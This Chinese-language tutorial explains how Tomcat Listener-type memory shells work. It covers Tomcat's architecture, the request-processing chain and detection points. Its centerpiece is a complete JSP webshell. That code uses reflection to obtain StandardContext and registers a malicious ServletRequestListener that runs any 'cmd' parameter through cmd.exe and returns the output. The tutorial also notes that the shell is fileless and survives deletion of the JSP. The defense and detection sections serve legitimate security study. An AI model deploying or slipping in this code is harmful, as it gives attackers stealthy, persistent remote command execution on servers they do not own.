Tomcat 内存马(一)Listener型
字数 2016 2025-08-03 16:42:42
Tomcat内存马技术分析:Listener型内存马
一、Tomcat架构概述
1.1 Tomcat核心组件
Tomcat作为Web服务器实现两大核心功能:
- Http服务器功能:进行Socket通信,解析HTTP报文
- Servlet容器功能:加载和管理Servlet,处理Request请求
对应两大核心组件:
- Connector(连接器):负责对外交流,完成Http服务器功能
- Container(容器):负责内部处理,完成Servlet容器功能
1.2 Tomcat层级结构
- Server:代表整个Tomcat服务器,一个Tomcat只有一个Server
- Service:Server内部的组件,一个Server可包含多个Service
- Connector:Service的核心组件,连接客户端请求
- Container:负责处理用户的Servlet请求
1.3 Connector详细结构
连接器完成三个核心功能:
- Socket通信(网络编程)
- 解析处理应用层协议,封装成Request对象
- 将Request转换为ServletRequest,Response转换为ServletResponse
对应三个组件:
- EndPoint:提供请求字节流给Processor
- Processor:提供Tomcat定义的Request对象给Adapter
- Adapter:提供标准的ServletRequest对象给Servlet容器
1.4 Container详细结构
Container组件又称Catalina,是Tomcat核心,包含四种容器:
- Engine:整个Catalina的Servlet引擎,管理多个虚拟站点
- Host:代表一个虚拟主机/站点,一个引擎可包含多个Host
- Context:表示一个Web应用程序,每个Context有唯一path
- Wrapper:表示一个Servlet,管理Servlet生命周期
二、Listener内存马技术分析
2.1 请求处理顺序
Tomcat处理请求的顺序:
Listener → Filter → Servlet
Listener是最先被加载的组件,因此适合作为内存马入口点。
2.2 Listener类型
Listener分为三类:
- ServletContext:服务器启动和终止时触发
- Session:有关Session操作时触发
- Request:访问服务时触发(最适合做内存马)
2.3 ServletRequestListener接口
关键方法:
requestInitialized():在request对象创建时触发requestDestroyed():在request对象销毁时触发
2.4 内存马实现原理
- 动态注册恶意Listener:通过StandardContext的
addApplicationEventListener方法 - 执行流程:
- 访问任意资源触发
requestInitialized - Tomcat在StandardHostValve中调用Listener
- 通过
StandardContext#getApplicationEventListeners获取Listener
- 访问任意资源触发
2.5 获取StandardContext对象的方法
方法一:
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
方法二:
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
三、Listener型内存马实现
3.1 完整内存马示例
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.IOException" %>
<%!
public class MyListener implements ServletRequestListener {
public void requestDestroyed(ServletRequestEvent sre) {
HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
if (req.getParameter("cmd") != null){
try {
InputStream in = Runtime.getRuntime().exec(
new String[]{"cmd.exe","/c",req.getParameter("cmd")}).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String out = s.hasNext()?s.next():"";
Field requestF = req.getClass().getDeclaredField("request");
requestF.setAccessible(true);
Request request = (Request)requestF.get(req);
request.getResponse().getWriter().write(out);
}
catch (Exception e) {}
}
}
public void requestInitialized(ServletRequestEvent sre) {}
}
%>
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
MyListener listenerDemo = new MyListener();
context.addApplicationEventListener(listenerDemo);
%>
3.2 内存马特点
- 持久性:上传JSP生成Listener后,即使删除JSP文件,内存马仍存在
- 隐蔽性:无文件落地,仅存在于内存中
- 触发条件:访问任意资源即可触发
3.3 防御措施
- 监控StandardContext的addApplicationEventListener调用
- 定期检查内存中的Listener列表
- 限制JSP上传和执行权限
- 使用RASP防护产品检测异常行为
四、调试与分析
4.1 调试环境搭建
4.2 关键调用链分析
StandardHostValve.invoke()调用Listenercontext.fireRequestInitEvent()触发requestInitializedStandardContext#getApplicationEventListeners获取Listener列表
4.3 内存马检测点
- StandardContext的listener列表:检查是否有异常Listener
- requestInitialized/requestDestroyed方法:监控异常实现
- 反射调用:检测获取StandardContext的反射操作
五、总结
Listener型内存马利用Tomcat的请求处理机制,通过动态注册恶意ServletRequestListener实现无文件持久化攻击。理解其实现原理有助于安全人员更好地检测和防御此类攻击。